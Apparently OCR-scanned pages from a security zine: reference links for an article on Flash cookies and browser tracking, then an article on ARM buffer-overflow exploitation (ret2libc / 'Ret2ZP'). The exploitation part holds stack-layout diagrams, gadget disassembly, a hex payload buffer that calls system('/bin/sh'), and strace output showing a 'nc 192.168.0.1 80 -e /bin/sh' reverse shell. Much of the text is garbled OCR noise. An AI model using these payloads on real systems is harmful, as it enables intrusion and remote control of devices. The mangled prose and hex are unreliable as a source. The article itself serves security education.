5 XX 01 34 XX 7z 3B 9B Ez BO CB 70 &2 33 ¥¥ 72 ¥ 52 8B 00 62 XX 2z 59 XX 34 BB
6 XX B3 OB 61 XX XX 60 XX XX XX XX 0F 30 30 53 61 55 X¥ 32 F8 83 E1 31 33 XX 42
7 4k ¥X XX OB 7B XX 99 03 69 B9 B3 Fz XX XX XX A9 29 BE X¥ XX 08 F1 XX XX 18 03
5 EE D1 73 XX 58 X¥ A1l XX XX XX XX 65 XX 93 9B XX 4F X¥ 28 ES XX BAh BA 1z XX 28
o XE 13 XE 8A AB C1 XX 5A A9 11 81 83 XX XX FO Dz 60 ES XX 39 XX XY XX E1 XX EO
10 03 30 XX 40 XX 74 XX 83 XX XX 4F XX 39 00 54 XX 52 A1 D9 F1 A0 F& 55 MM &5 XX
11 AA XX XX 591 XX XX XX D1 XX FA XX 6A XX 4B C2 XX 51 XX B0 XX XX XX 63 XX 92 XX
1z XX 39 53 12 3B 50 3B BA XX 72 48 4F XX 4A XX S2 62 BA XX 11 38 51 XX D1 BO XX
15 XEZ 49 XX XX 12 XX 42 30 7B XX XX 99 FB XX 69 30 XX 13 79 90 XX SE 63 DO 40 XX
14 XE [ 71 C3 XX FE 52 XX 43 65 55 04 90 XX C9 62 21 XX XX XX 70 ZX XX XX F1 ZX
15 X% 98 60 59 AD X XX D0 XX XX XX XX 7A 3A XX 7A XX 99 80 CO 39 51 XX 76 11 XX
16 XX AB FE 6F 61 25 OF OA 55 BN C3 XX B1 XX A1 BB 51 XX 13 XX 05 F8 DO 21 XX E1
17 09 XX XE XX X BA ZX XX ZX XX ZX XX 93 99 42 XE 92 79 33 80 XX 01 7A EX Bl 6B
18 94 73 12 085 03 XX B XX XX XX ZX XX XX XX XX DB XX XX XX XX XX EX XX 24 A9 30

19
[.Notepad++ . 6 XS X v o X L] q .
X X - ” ” U ”
X S v f 4, B OS] TIaaTX s T4 4
X ¢ 4« X x EX$L X X80 W x By oxx Ix‘vx’-|s~,,xn‘>< ]
Fodos ot A% X PRTTXISX, XX

A- T X "L vt A AXw L oS T XIBTI YU X"

s ¢ S BRI LS A | £ B S M B T A B x o Rd 1AL X

1. switch® | X4 SASCI-s L. T D1

A d . X e A X
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s« XS x4 x., o~ A Y s L
e T T
AVEIM - s .
JBYFVIUN'- s o0
JCUGYKYO'T s 1
DYHLVLYP - s A A
x0T
AVBICD - S L~
JEVFVGYH - s 0 L
JVIVKYL - s 1
JMYUNYOYP - s T 4 o
I P T T T B o A I D S I A N A T A E R R B
R R
- X B o T ¥ x i PO -

.5, . el v et s o ¥AX A A, SIS e XX

1
XS T8 T L X 4 bl x ]l
S L

3(:]51_ L Xo+] ~-A-’.E.’3|-’XM: LUXXY] DX o S
LoxX ] PR A4S g 4T BT cTox x4 Ll o xixo 040
s X es s X B T L 1w Xy S Lo~ S Xl es X 4 8

v o~ ~

L 5 ¢ X X ] s XL XTI s sy ,\XL""A:N‘S‘ T “L.”NXSH . oy

~

S I I T IR IR S S [ G

FoXXepd XD "sDosi i 4] LX) s X I X

RN A N T

cx 418357 xxqX X q s 141
S L . I x . s X S s"_2x~

R DX ] DX . s)?;.'|3'><,_|_-|xxxvi-|s~ 1 x x q % X 4 s . 3 X
(Uppercase

- -

+ 'I « % -| X'I ” L X X x‘ xn"

. ¥ AL A s Ak T s 4L x 14 X
x> s Do g 4 X Pss laxkX {1035 T xx 1 Dox s X441 L~ Aq. S
oS Lp L 3
s " . L s 4 x T P T T MM A ¢ X v, X s s "X L~ 4., x
FAdr~d . x p ]l xX
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1 B3 X EX X% XX EX (3 XX X% %% AB XX XX X% %X XE XX %X E¥ 94 29 11 XZ 53 79 Fa
2 ¥Z FO OB Cz B9 FB XX OF 12 83 XX 42 0 80 C1 XX 2& 7B 82 XX 43 5B 00 44 XX C3
5 X% oL ®X A3 XX FA A1 74 ¥¥ 11 20 €2 B3 XX 53 7B 72 %X B9 09 ¥X XX EB CB XX 05
4 ¥Z 63 EX DO DE XX ¥¥ XX 48 X% XX ¥¥ ¥¥ AR ¥X ¥¥ X% FA ¥¥ C3 13 91 ¥¥ 30 21 XX
5 ¥Z 01 34 ¥X 72 3B 9B E2 BO CB 70 82 33 XX 72 XX 52 BE 00 62 XX 22 59 XX 3L AR
6 ¥ B3 OB 61 XX XX 50 XX XX X¥ X +—50 ¥¥ 32 Fo 83 Ei 31 33 XX 42
7 4h X¥ ¥£ DB 7B XX 99 03 63 B9 B3 FE XX X¥ XX A3 49 BB XX XX 08 F1 ¥¥ XX 18 03
& ¥Z D1 73 ¥¥ 58 XX A1 XX %X X% XX 65 XX 93 OB ¥¥ 4E %X 28 E3 XX BA EL 12 XX 28
o X% 13 XX 5A 1B C1 XX 5 XX XX FO Dz 40 ES XX 39 ¥X XX XX E1 %X EO
10 03 30 EX 40 XX 74 XX 88 EX XE 4B ZX 39 00 94 X¥ He—isho—i = W 55 X
11 LA X¥ EX 91 XX ¥ X¥ DI EX FA XX 6A X¥ 4B C2 X¥ 51 EX BO XX ¥¥ ¥E 63 X 92 XX
12 XY 39—5a—ia—0B-EE-3B-DA XX 72 48 4B XX 4L XX 52z 62 BA XX 11 38 81 ¥¥ D1 BO XX
13 Xxxigxxxx 12 %X 42z 30 7B X% XX 99 FB X% 69 30 XX 13 79 90 XX 5B 53 DO 40 XX
14 ¥Z ] 71 C3 XX FE 52 XX 43 68 88 0OA 90 ¥¥ C9 62 21 XX %X X% 70 ¥Z ¥¥ %X F1 XX
15 Xxisu 59 A0 XX XX DO XX XX XX XX 7L 34 XX 7L XX 99 80 CO 39 91 XX 78 11 XX
16 XX Ho—pp—sm—rt p—gx—oe- C3 %X Bl XX A1 BS 51 XX 13 XX 08 F9 DO 21 XX E1
17 09 X¥ ¥X %% XX BA X¥ XX %¥ X% X¥ ¥X 93 99 42 ¥¥ 92 79 33 80 XX 01 7L X Bl 6
18 94 73 1z 08 03 XX BS XX %X X% ¥¥ ¥X XX XX ¥X DB XX ¥X XX XX XX XX XX 24 A3 30
19
st v Al es oos T ] LTI XE A TXx s o 4]
pox b
2X S 1 6x S~ 3x_ s 14 s ~3x_ S 150 S Lo 4x s TXLS Lo~ |
X X
2X S L 8X s Lo~ |
FYRXXOB o T T X s s L BT X xy Dos X % Do x axp x L ¢,
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_Xll-l'\-s -|\\x : LY _'\-L
o ~ 4
Sl
YOBE R X ¥y X S T

1. s TS HATT) L oA A~ XA sy e 0 tx T X 44T HOs s 7o
FXOLeX LY LS w1 414 FXO e TS I Lt Fos, LS B
X X . P X 94 qs ,_.|,,Iyxv |_-||_s“|.'_,‘<:x?J’g,A,lj’kq’\v*Css
X X P T R E Y S, BN T B AbsS Aspe siTx L T x s, D7 4 .
poX oL L X Y s CX T s X ¥y ,_va\wxiw,,):)I,,xAH,ESZs,_,_sx“ P S
o1 v A e s x ok 1 epokieg R AXT_ A w ro A B e XD XS, XX, 4] s
L, e x 4717 4« 40X v X s S_dasy s 4Ly .S
Lo ETOX oL, . xIXJVx . X 1 XL N,_VS-LZV)L IZAxs,,x~)=\-|v-|”Axs,,X
vy 4 s 41 ] Lx LA T D X X0 b X KT XA X P
o L XY S x y s "ligo 1.
A o 7 s x84 Lk AT LT e X %D s X L XY
?s L ox L1 XY sy X .o
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http://www.comscore.com/Press_Events/Presentations_Whitepapers/2007/Cookie_Deletion_Whitepaper
http://www.adobe.com/products/player_census/flashplayer/
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http://arstechnica.com/tech-policy/news/2010/07/privacy-lawsuit-targets-net-giants-over-zombie-cookies.ars
http://arstechnica.com/tech-policy/news/2010/08/lawsuit-disney-others-spy-on-kids-with-zombie-cookies.ars
http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html#118539
http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html#118539
http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html#118539
http://www.eff.org/
http://panopticlick.eff.org/
http://panopticlick.eff.org/browser-uniqueness.pdf
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https://addons.mozilla.org/en-US/firefox/addon/2275/
http://noscript.net/
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.allfacebook.com/infographic-the-history-of-facebooks-default-privacy-settings-2010-05
http://www.theregister.co.uk/2010/05/26/facebook_connections/
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http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html
http://blog.quaji.com/2009/12/out-of-context-information-disclosure.html
http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html
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http://www.youtube.com/watch?v=eLdpwQIIeS4
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http://www.digitalwhisper.co.il/files/Zines/0x07/DW7-5-AnonymousDB.pdf
http://www.facebook.com/press/info.php?statistics
http://www.facebook.com/press/info.php?statistics
http://www.facebook.com/press/info.php?statistics
http://www.facebook.com/press/info.php?statistics
http://ha.ckers.org/weird/CSS-history-hack.html
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
http://startpanic.com/
https://bugzilla.mozilla.org/show_bug.cgi?id=57351
https://bugzilla.mozilla.org/show_bug.cgi?id=57351
https://bugzilla.mozilla.org/show_bug.cgi?id=57351
http://www.safehistory.com/

Technologic

"1 O AI-|V ,_Asl_>s>,<xv|_-|{~“xls'|x\ o x ¢ s s x 1 q{s s « 17" 11 s
S« oixsss | ” . X o .S . . L S R L I T D O e
L Pd X FAdd 4 s s Xt s s O ” X 4
Poxo LS T LY X tx g X 0,8 Oy O T I I O R s ¢
v xS ) 4% X Ispqxs 5 LS X X X 11 S 6 4 XX Ll oX LYo ]
o1 - . FosoLos L 11 ] X o~ XX X LS i v+ X o x X 8x 1 x*HY
o LUs e A T H e x4
x 4s x>0 IS ax as e X e e, s ki e s X s, X X
15 x . X v o X oxy g s b ], X ] ss G s X x] o xXYs
FS LS, wx ] L .39dud b Is T osiexd s Sdwling xsdw ]~
L s, oA, 0 v s oo e Sy M. ] 18AdYFxx
S ) JXAAA L AT e s RS K L s, X s T A .
X v o T iAo ks L s sk S X (98 14 V959 44 4 b7~
Lo, o~ % sAUIX Yy s v 6000 LT oA L 800 TE L e X
A I T Lo S PR ST ST B s oox XX P Lo
T N R N T I R A R I i IC I N I
x \3x1*,.8 9 3 X XM I 2 AT x4 0 4 o x v b4 o x s
1 LA s x> s ] Tx XXy L4 dxod28H¥ L f.
O R I D . BT v oos 14 A
X oox X s L X A s )M S 0 KT A o X .o X R
<I|_,~v|;_x‘x><“s i (I |_1,,x~1“ P $¥ 4s X X 1. s> xv_l-,,NvaS »
Ty s X X XL e N sex A S, 8 A 4 T xS
X LA MR n s sk hx o X D x4 X ] X
Lo Pl 7s L TSEV X IS ki LT L Y T
1,0 x4 X ps X p s XYy s ey B XS X4y r KB X o X
L. Susi_sXtdss M Amq4x 14 0 p ¥ A4y A1 TH 47874
S~ . 8sS X X 1w s P17
« s dX bsRenBewes | X x X T x b X 1 ix 1 Xy WL T X T s
X BEd ox T (R4 1A EQEE ) s A K, BT Lol s AT
S e Ay s T LsE Tse (XL s g x L w %oy
XL Tes AW DLy T Txq o qr.
www.DigitalWhisper.co.il
45 20L0° 112 x4.Lv


http://www.facebook.com/social_graph.php?node_id=4981419559
http://www.facebook.com/group.php?gid=4981419559
http://www.skullsecurity.org/blog/?p=887
http://www.facebook.com/directory/
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http://33bits.org/2010/02/19/ubercookies-history-stealing-social-web/
http://online.wsj.com/article/SB10001424052748703748904575411530096840958.html
http://online.wsj.com/article/SB10001424052748703748904575411682714389888.html
http://www.usatoday.com/news/opinion/editorials/2010-08-09-editorial09_ST1_N.htm
http://www.usatoday.com/news/opinion/editorials/2010-08-09-editorial09_ST_N.htm?csp=obinsite
http://arstechnica.com/business/news/2010/03/why-ad-blocking-is-devastating-to-the-sites-you-love.ars
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Flash Cookies and Privacy, by Ashkan Soltani, Shannon Canty, Quentin Mayo, Lauren
Thomas and Chris Jay Hoofnagle, August 2009, Available at SSRN,
http://papers.ssrn.com/sol3/papers.cfm?abstraick=1446862

Fact andFiction: The Truth About Browser Cookies, by The -Howseek, February
2010, http://lifehacker.com/5461114fact-andfiction-the-truth-aboutbrowsercookies

How Unique is Your Web Browser, by Peter Eckersley, Electronic Frontier Foundation,
http://panopticlick.eff.org/browseruniqueness.pdf

EPICIBsh Cookie pagéttp://epic.org/privacy/cookies/flash.html
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http://papers.ssrn.com/sol3/papers.cfm?abstract-id=1446862
http://lifehacker.com/5461114/fact-and-fiction-the-truth-about-browser-cookies
http://panopticlick.eff.org/browser-uniqueness.pdf
http://epic.org/privacy/cookies/flash.html
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http://imthezuk.blogspot.com/2010/08/defcon-presentation_03.html
http://www.twitter.com/ihackbanme
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-1~ s 4.7 shelidotle « 1 1 _ 1 X Is X s D os,18d ] XX
N R N B U U S A T VI SRR S BRI SRS SR S
Pl w4 1S P A s s s s e s {0 T X
Stack Overflow v Teexo 4" . x>x ]
20 x> rdt2libe - 1 x o
R I R T R S s ox st d X T T X R oy
ooty X8 6% r 4| x x4 4s 4 1 AT T 0 Tx
s 1] “x+. ¥aL s~ vet2libe -
[ e = | e | e |
| 16 A's | AAAA | SYSTEM | EXIT FUNCTION | &bin/sh |
R T e R e B I
| args | EBP [20] | EIP [24] | EBP+8[28] |EBP+12[32] |
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(IFrame Fakifg © - ¥ s x4 S L)(EBP) 4. s sAKT AN TK P

s {7

s« 4. d4s (&binfsh)” x4 X" x L . 4% SYSTEWUM) (EIPP 1 1 ~ «

o
_S-I\“"X>|_ S+ { . «S ~ ] v L

S o4y s s T o X A s s JARME

(VOID 4~ . s. 467 s 7 4.1 s 4y

~ ~

ROR3 + 4. ¥ xus 1,6 X [ H_Xls {67]_ ss%{2]/5 4Y

( .igt.chary) 4~ s .47 3,41y s

,|vs .|)|_ :x1‘b1’x“vsx\?x IdJ L ¥71413

ARM-* o x {7

S I B I R T T A I B T

PC ~yx<«>* Ax ¢  +4 T4 _ x"71"- oxbox o bhxx s €
B 6 EIP L L 1 Progfam €Cdunte)

X, LYy sSTERORY Lrid s S s b L ¥ X o bSO X 1 ] Dpdd e XSG
DA T o LEd sx XTI K4 L xE RS s,
T L . 112 R N
mov RO,R3
mov R1,R2

blfunc; (¢ 1 _1. s) s s«

s | x

- XS 4. FUos L Xbp A x| Xx oo 1)X86-F ¥ - x L ¥ € ;s ss_ x| X q
(PCL s ., CLRs,9H49 4 SaATxx s L o SLRE L L 1L 8 XS
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o, D Y)RBXRA X1, ¥ X o X x 4 s L, 0 X s T X L X,
?func s 4«7 x s I Xx LG B (s s 5 L X
push {R4, R11(FP), R14(LR)} ; in x86 : push R4 \ n push R11 \n push R14
add FP, SP, #8 ; FP=SP+8
(¥, L 1% JRIL, p XX X SSPAY X oS I4sc R4l | -~ 1+
S Os LT X7 o . Tos L, 8 X
{17 ., x 7« s ¢ ¢ -|”v] s X S
==|R4|R11 | LR |
==*< - 4 X ]x s T l4s . 7 2 SRR T AN
func s 4 .7 x s 1,

sub SP,FP, #8 ; 0x8
pop {R4, FP, PC} ; in x86 asm : pop R4

\npopFP \npopPC \n

’”

.word 0x00008400 ; R T X o shql 8" xS
.word 0x........ : S v s, ]x
................ : S v s, ]x
S+« PCH¥ x s Ixsd o Px pews VIR, Y I s 3 X
X 7oL - 4 ]SL@ )ﬁ_:AX‘_ x,"]:_,tl‘_\x.| v X s S U Xs S <
S 4 w7 x SPC oLsYeXduasy X T BT 4L
17 0 Te AT~ ™4« v X114 | S let2liba 1w s 7
S 4 T Xy SROR3» = 5~ WXEed% 1 ~» % 1Tx L 11 ] FAdx . -
ret2libc s, » ¢ 1 oL X T i(s Ty xs A »Re®2ZP - €W SO L v
Ao x Lo o x o s s . w4
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S .1 L T~S("XY St L~) Ret22ZP 1

S Isx 4 . &7 X

e 2 ABT asyix w6 LT AT ORI ] X .
D XRet2ZP 44 1.

X L, X S

> v

. 7s I yPr s 1s R

«x ] D D A T I R B B
---------------- | | [ [ oo
| 16 A's | BBBB | CCCC | DDDD | &function - [0x12345678] |
| e | | | == = S —— |
| args | junk [20]] R4 |R11 - framePointer| prog - counter (PC) |

BBBBCCCCDDREBX56X34AX12 +(1 _ 16 AAA L X « 1+ s

. x 1s T+
J . s RI4-x0x4B4B438 1 . s R4-x&xH2345678 L 1 _ v L | xS « oL
.0x44444444
-|)< X o os Lse,, ¢.]x Cv]v”x)ﬂ:bvp L ~x 7y X . s X L x x "oy . I x s .
A B X AT e X SPX Y A s (L T e s s
. s( A "X
SYSTEM ™)X ¥ 4 o 1~ 0 X { «oX"sxX §i PGS XSeusd  « ¢ s 4 *s s
2A("/bin/sh")

1 X« I~SETIY s, x X)Ret2ZPs . € 1
Ceoos X D p Ao x4 x 7 Tl o3 3 s gl TR L x oy
Fnétcat Z,“'| X . s | x . Lo X . P DX I°.'|.|x,,.|sv|_ ka.|l‘xx“,,> LX e .|~“ X1 WX
Jdevitcp-L s X4 ¢ ] X
. n _I . "oy X " _I

L. X x RQP wrarlibe 11 A

\\.:'I ng -I " g

:Ret2ZzP"1) + 4~ 1 _ ~ s

S Lo dex o€

libc 4 x 0 xox sx/Rinfsh 4l S% . b A4S x4

DX s L s X dx TS s T L . AR s

_s()“lss

~

X ” -~ |— -I r”

XL
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Jlibc 4 x/Bin/sh & S x .1 s )i 4TI XX RO L T XX ] 310 L 4.
SYSTEMSs 1« « 7" x s {100 0 s 440" x s s
R X . 4 %Xs 1] .1
R Bl M
. XSS Lo, Yy o b Y Wwprintf -« Xss, € X" XX o wWH s 2 {0 x |4 x7
L X T xoos g x s oL X o  p Ao x TAG T H A x 7w
_l— _i ” . J ” X . . - . . ” . : ” . L R : _I ” 5 '| . s - .
PC ~ ¥ x s L, LS B {0 ETH TR P LT T B RISl S A IR B P 5 17
1 x A s X 1RCL~ Y"RO "X | - x 1 S L1 ]1POP,: «v, XSS ok " X L
PC ~» YRO+ x | N2 I B3 X & x4 1
SYSTEM: 1« 7 x| L PC .~ ¥/5in/skL s o K | s Cx0 L. ROx x o] Lo~
1 kbc-_ s 1«1 " .PE ¥ RO s POP fv s X s, ke ] o4 vy x N
11«1, s7 4« oy xlos oo T x oo v b oxexyp o P 41s
:X ” N S S n s
0x41dc7344 <erand48+28>: bl  0x41dc74bc <erand48 r>
0x41dc7348 <erand48+32>: ldm SP, {RO, R1} <==== Tl x Lo 1 1A x "
/binfsh s 4 1 _ s COx L LRO-L - ¥ x o ¥ 7 | X« x ¥X
0x41dc734c < erand48+36>: add SP, SP, #12 ; Oxc
0x41dc7350 <erand48+40>:  pop {PC} ====> SYSTEM s ¢ L p X4 ¥ I x & ox ™o 7|
-4 1 s
X G s S y x I s x| 8 {5 kK% 1 B SIS X T W X ]
--------------- U U |- 4Bytes -- |- 4bytes -- |-- 4bytes - |- 4bytes -- |
|16 A's [BBBB  ---- | R4 |R11|&41dc7348 | &bin/sh |EEEE |FFFF | &SYSTEM |
e e | I
| args |junk[20]| R4 | FP | P | RO | R1 | JUNK | prog - counter |
I [ I I I (SP Lift) I (pc) I
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A..A*16 B BBB CCCC DDDD\ x48\ x73\ xdc \ x41
\ XE4\ XFE\ xEA\ x41 EEEE FFFF \ xB4\ xE3\ xDC\ x41

char buff] =" \ x41\ x41\ x41\ x41"

"\ x41\ x41\ x41\ x41"

"\ x41\ x41\ x41\ x41"

"\ x41\ x41\ x41\ x41" /[16A

"\ x42\ x42\ x42\ x42" /ffill buf

"\ x43\ x43\ x43\ x43" /| (1" s ) ¥x{ X4s 47X o T X o ,s
"\ x44\ x44\ x44\ x44" [[R11

"\ x48\ x73\ xdc \ x41" //[RO,R1 s”{¢ s s4 .7 x s

"\ xE4\ XFF\ xEA\ x41" //IRO i A/ bi nVosdh strin g
"\ x45\ x45\ x45\ x45" /IR1 i Idm contains rl as - well
"\ x46\ x46\ x46\ x46" //JJUNK i stack is 12 bytes more, not 8. So we got 4

spare by tes.
"\ xB4\ xFF\ xDC\ x41";//[SYSTEM

1417 xx s SYSTE * bréakpvint & 44 4+

=>R0 - Ox41EAFFE4 ; (&/bin/sh)
=>R1 - 0x45454545
=>R4 - 0x43434343
=> R11 - 0x44444444

Joinfsh =« 4. SYSTEM~ & " x X

« 1 X .x (J,'“ﬁ(x’ Y s . )ReUZZPS » S

X - - x EY X 1 L rlq x € SIyx{* xxq{ (7xs] .,

'S . | S s ¢ R ¢

CX

S 4w X [64] .« x4s” X" L _[bin/shx TS x 41 X 0RBL 4% % S Ve, VX g <

AL e UI6] Ll oy T xy ] T ) 47 N1 *  px .| SSYSTEM X " o

CSYSTEMS { « «"" x« sx.4_ 1 _ DWORD . _

~

"L O PCwXN¥Xs 1 X R - ¥RREREr 1~ ¥ X o X 1 X ]«
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| -=----- | -==-e- I ] |-4bytes -|-4bytes -|-4bytes -|-- 4bytes -- |
|16 A's |[BBBB | R4 |R11 |&function |[R4 |R5 |R6 |&2nd_func |
| oo [ T | | | | |

| args |junk [20]| R4 | FP |prog - counter|ls tparam|2nd param| 3rd param|prog - counter |

sIx« Ll L J.x.  _{XSYSTEMS A . X7 ST 4 Txx | K oy
I

CAT 1L ¥ 38BA XL 4 _SYSTEMA {4 ¥ o7 x|

~ o~ v ~

16._ ,«x1 ol xy?X

WX s L kAL XHSYSTEMHA)L s 4 ¢ ¥ xX J L xX)Vbdd g« x 4 ¥ f XX
privlege ¢ 1 _x _ x 7 <« p+« sXxq{ I x4{s | DWORD U+ +SSq4 « x "
cpathre X x Dl p o x T lx ) T X LT ] s T L wegcdlations X x 1«
oYX I
shi# _ 4 .7{x sPDWORD . ¢ X 4. s«  SdhBAAAAACY 1 .~ s T 1 {7
NULE 4y 4 1 1 sx oxxq ox
strace 4 x -~ ¥ X Ty
[pid 3832] execve("/bin/sh", ['sh”, " ¢", "shi#X_ \ 332\ 313\ 276"..], [*
19 vars*)=0

s . ‘SYSTEM: 4 « « 7 x sh;#X83A313276...\0 -+ ¥ -~ Shi#AMAAX..x " 7 |'s
1.1« X<«384&  Ox G X" T LS e X or¥dud 37X 1 4047 X170 X
S s x o L ISYSTEMSS 4L« « "% ss 4|

S 11 Ret2ZP - | « ¢ s I R T T [ o] ol EOUSCE IR S IR ER It
L. x s ol el A Es o x e X7 LR {0 dd xS
P~ owpriftk s 4 o o7 xS
41df8954: e28dd00c add SP, SP, #12 ; Oxc
41df8958: e49de004 pop {LR}; (Idr LR, [SP], #4) < T ST U I I RN
; LR = [SP]
ySP+=4
41df895c: e€28dd010 add SP, SP, #16 ; 0x10 R B IR | I B
41df8960: el2fffle bx LR : < —_— T el 7
41df8964: 000cc6c4 .word 0x000cc6e 4

ARM Exploitation

www.DigitalWhisper.co.il
56 2010 _ 12127 x4y



Technologic

bed 14 XX HIslhe.s8 o~ ¥ I T bS8 KiK. o T x _«s X
X "L s, ¢ 1s I« Ox418f8954 X " Ax _ « popLR)YOX4IABI58 L x " .
(v tos X
17 %1 s ex ol Gq L ISy s ] O s s
el Te S T SSYSTEMIL A ST X € XS g 1 X S G f e L FRA ]
.Ret27zP
S w4 I Axs, 4¥ ST s 0" xSPs . SROAAMS. D Xo ] T x o5 s
4L 1 s s D R Y RO xsdta S Ly L’ 4y
S T I B ST Bl (Y < A i N R T B A SUO L TRUC [ A
s i)Y L A" 1 s L s ¢ x ¢ s DX 1 x S 1 4 X LA X T o X0 (T
A0 XA s .| Y x €
bxLR s ¢ s .4 " ]
L X4 4% +s v Xs DX x4 P HERIL 4 "0 L {LR} 4« x 7
LR[0]==1- x sthumb > . _ . x " I x.« 4" ]-
1] s« .{ s¢
| ------ | -—----- | ---- | - |wprintf epilogue| - | -4bytes -- ... --|-4bytes ------- | -- 4 bytes  ------- |
|16 A's| BBBB | R4 |R11 |&0x41df8958 | ...80x 41dfe9s8 | &0x41df8958... | AAAA | &SYSTEM |
| == | == | ---- | ---- | - stack lifted e | ---mmmmmmeeeee | ---mmmmmmmeeees [ === - |
largs |  junk [20]| R4 |FR |prog - counter | again. liftjagain...n times| after enough li fing | (pc - after lift)|
(Strace 4 ¥ X7 L x O Cs 4
[pid 3843] execve("/bin/sh", ['sh", " -c",
"AAAABBBBCCCCDDDDEEEEFFFFGGG@HXK\ 337A"...], [/* 19 vars */]) = 0
PaX oSS T s L D e S8 4 B XY P T T e 4D X x T s ]
. X T I T ¢ s . . X . 40

~ A

s SQtrace 1 ). ¥ x Ty

[pid 3847] execve("/bin/sh", ['sh", "

-c","nc 192.168.0.1 80

-e
/bin/sh;  \ 211\ 337A"...], [/* 19 vars */]) = 0
ROzR3-L - X1 RetkaP
) X ” . _I '| ,
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LoXxm )JRO‘RB L _I . Y X « S - c,, Avx s I_N_I{(I"AAX |JS‘_“ -I ¢ 'l . s " _I . S -I Y
_Z(x\‘xi D O X
Fd Y xos o x o1 Ret2ZP XXX L ] sy, G Siax,
S .4y s s {7 x s s
1Ret2ZP | _ ¢ _ siySxx 7 s A X RE_ . TolMest 45 41s4 s g x o4 04X
X7 oo bxos e AL s e T 0 T x 4 ] s
s ox o XA Ao, TR I F R DX, X x ,LoX O T
Lo s 4.6 15<,d_§“>v<|_q>,.2j’.‘-|’g1~v . s X s x| s S I X o
erand48 T ox v | Lox 4V I T s D ox oo o
.text:41DC7348 LDMFD SP, {RO,R1} ; <== + 1. «ROx R1
text:41DC734C ADD SP, SP, #0xC ; LXS 14 »H+ LA, e tx |ongT T
.text:41DC7350 LDMFD SP!, {PC} O T 7 = IR SN NS e
Txy ] A L A I T T
X -I ” X L _I 1 I ” X ” , Y
Program counters PC R15
Link Address (Link Register) / Scratch register LR R14
11 1x7"s 47 1 _ Stack Pointer- SP R13
The Intra-Procedure-call scratch register IP R12
8 s _ _lwAXx¥w~ s FPNS8 R11
7 s X T sliv7 R10
s . X 1L sl yq{x . s Cs v,,,,yxx>\-| L~ sbitr/vé RO9
R3 RO = x _ « ¢ slibcX. I x & x 7 {x LN O .
slibcso* 'x«<s ¢ RIARO, L x4+ d v fI™_ 1 _ s _ v A ) x"%q4xs
X s .41 s s 14 L w1
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RO 4X L 47 1. s MCOUNTS 1«4 2xse 4b8d%s sodxdx &

R3!

.text:41E6583C mcount
text:41E6583C STMFD SRR3,HA,LR} ; Alternative name is'_mcount'
.text:41E65840 MOVS R11, R11
text:41E65844 LDRNE ROAR11#
text:41E65848 MOVNES R1, LR
text:41E6584C BLNE mcount_internal
text:41E65850 LDMFD SR3B,HAQ, LR} <===

X w7 IR{UWRORL,R2,R3, R . s 14c_ x| T4 =
.text:41E65854 BX LR
text:41E65854 ; End of function mcount

A YR3 HROVSXSPR f v s L C 1 0 b A v s e Xeolud B o U X

on

-

X ] s {4 . "X x DX LIX X« TLXX s Jixxilox o, se X s x s
ST s e e  destlibe, S s A L X
. 1y X s X X ] x DX 4 x o, D SR X X o 11 ] 14 .«
CX X e o (s, L d e s AX "X fbinfsR A STUA) X AYIPUG L X e s
X e T X4 LT x e s ] R N S T R
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4T 1% s .s D LjRetZP s . X

s+ 4.~ *« _~MPROTEGTS + 14 H ] . s -+ Xt N O RN
A o X 1)8hellcode [ 1 - s oo x t 4T T o,y X N THOX L X
(X861 1Tx 4, s {ARMI~ X Shelltede 1 x - 1 |
Py x . b7 w4 0 fRet2ZR 4 7 x | L 1
Fde Dosudibée Tt x0T L X A ] DXL IR T d XL AT T X, T X
gop*RO.* s 4 4. % T L4 1Xsxs xps|Xxpgs p4s XJos 101 . xA
A, s e o041 sy s X
1.1 11« xBinfsh % * | ) RO fsystem/bin/sh = ¢ x . 1 s 1« 7 1< L ]X
L, X X 1OX . PR S PN SN F:JX]]:)S Ls ¢ L
L T e

mallinfo

STMFD SP!, {R4,LR}

MOV R4, RO

BL j_dImallinfo

MOV RO, R4

LDMFD SP!, {R4,PC} ¢ s, X, <" Xa.xX
: End of function mallinfo

S v AROx X X 1 X CRALJXXD LT X] o, ss(7 X JLXONRG ] X X ¥ 4, x © T R R
S « X's
. 1 #system/bin/sh = ¢ x . 1 s D RE D HSl Lo XS YT ¥y Ix ss ox
St ~d 0w PGS s Al o x Ty o TRAAT o xx U@ ox 4T T ]
S . X s . y I x s
mallinfo
STMFD SP!, {R4,LR}
MOV R4, RO
BL j_dImallinfo
MOV RO,R4 ¢ s o X &7 X.oXx¥X
LDMFD SP!, {R4,PC}
; End of function mallinfo

Isystem/bin/sh @ ¢ x . 1 ROXRQ@L{ *RH { |
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S . X's s {4 .« "X s ,,x,_(x.|A x,_,,-|I)R<4|_"S-|h\-1<;,’$ s’.AxxA,x\ IxxA L X7 S
X"I:I: S'INX\.-I:$,|X=“X>XV:J”)(1_WVQ$VS-Eem>SA_I\1\:11))(_":5)L~ X oy o
S e T A L
¢inostack + . L, U xIAl o Asud sEdd e 1oL Dok 4 I e s s
bruteforce/cookie guessing/cookied ' 4 o+ s " vy ss .« X)protector 1 . X . I -+
A U A Y x 9T 4 Xoverwrite
X |« oL X X I s CX . s r libc! HARM L1 7 s I % T Y shyx, > « 4 I
S, : XVYI X
X ”

~ >

P4 sy AT s s TR x kS XARM x4
x L

ARM » x * s o, DS AT sy {0 X H T T4 0y (LR T LS S A
F s L] %x x* . s,\1x,,xa¢1: - ,,,_,-|~I|_x x €x o, x Xlpx” s ¢ ] ., X X
L, x| Lo s x . X s S . ., S | =1 4" s I x (s .+« ARM s ¢ ] )
|—,'|\‘X'| v s | x X% X H_AR,M.[lsTx;xq§t|:,IJ“2fos = x4 | x S L X
.memcpyxstrcpy T x ¥ I ox 7 px o  Dox 0T 0  p xp Xy xGxxd e b ox
Xeo Yy > w4 rd_ xdes o X x s s Tx 4 s DL X
Pl X T s AT L NS 48 S s T u s s DT o
| cpokies/PaX/canaries™ ) ¥ 4 * x 1 ¢ " 4sx 4 X

61
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Special thanks to :

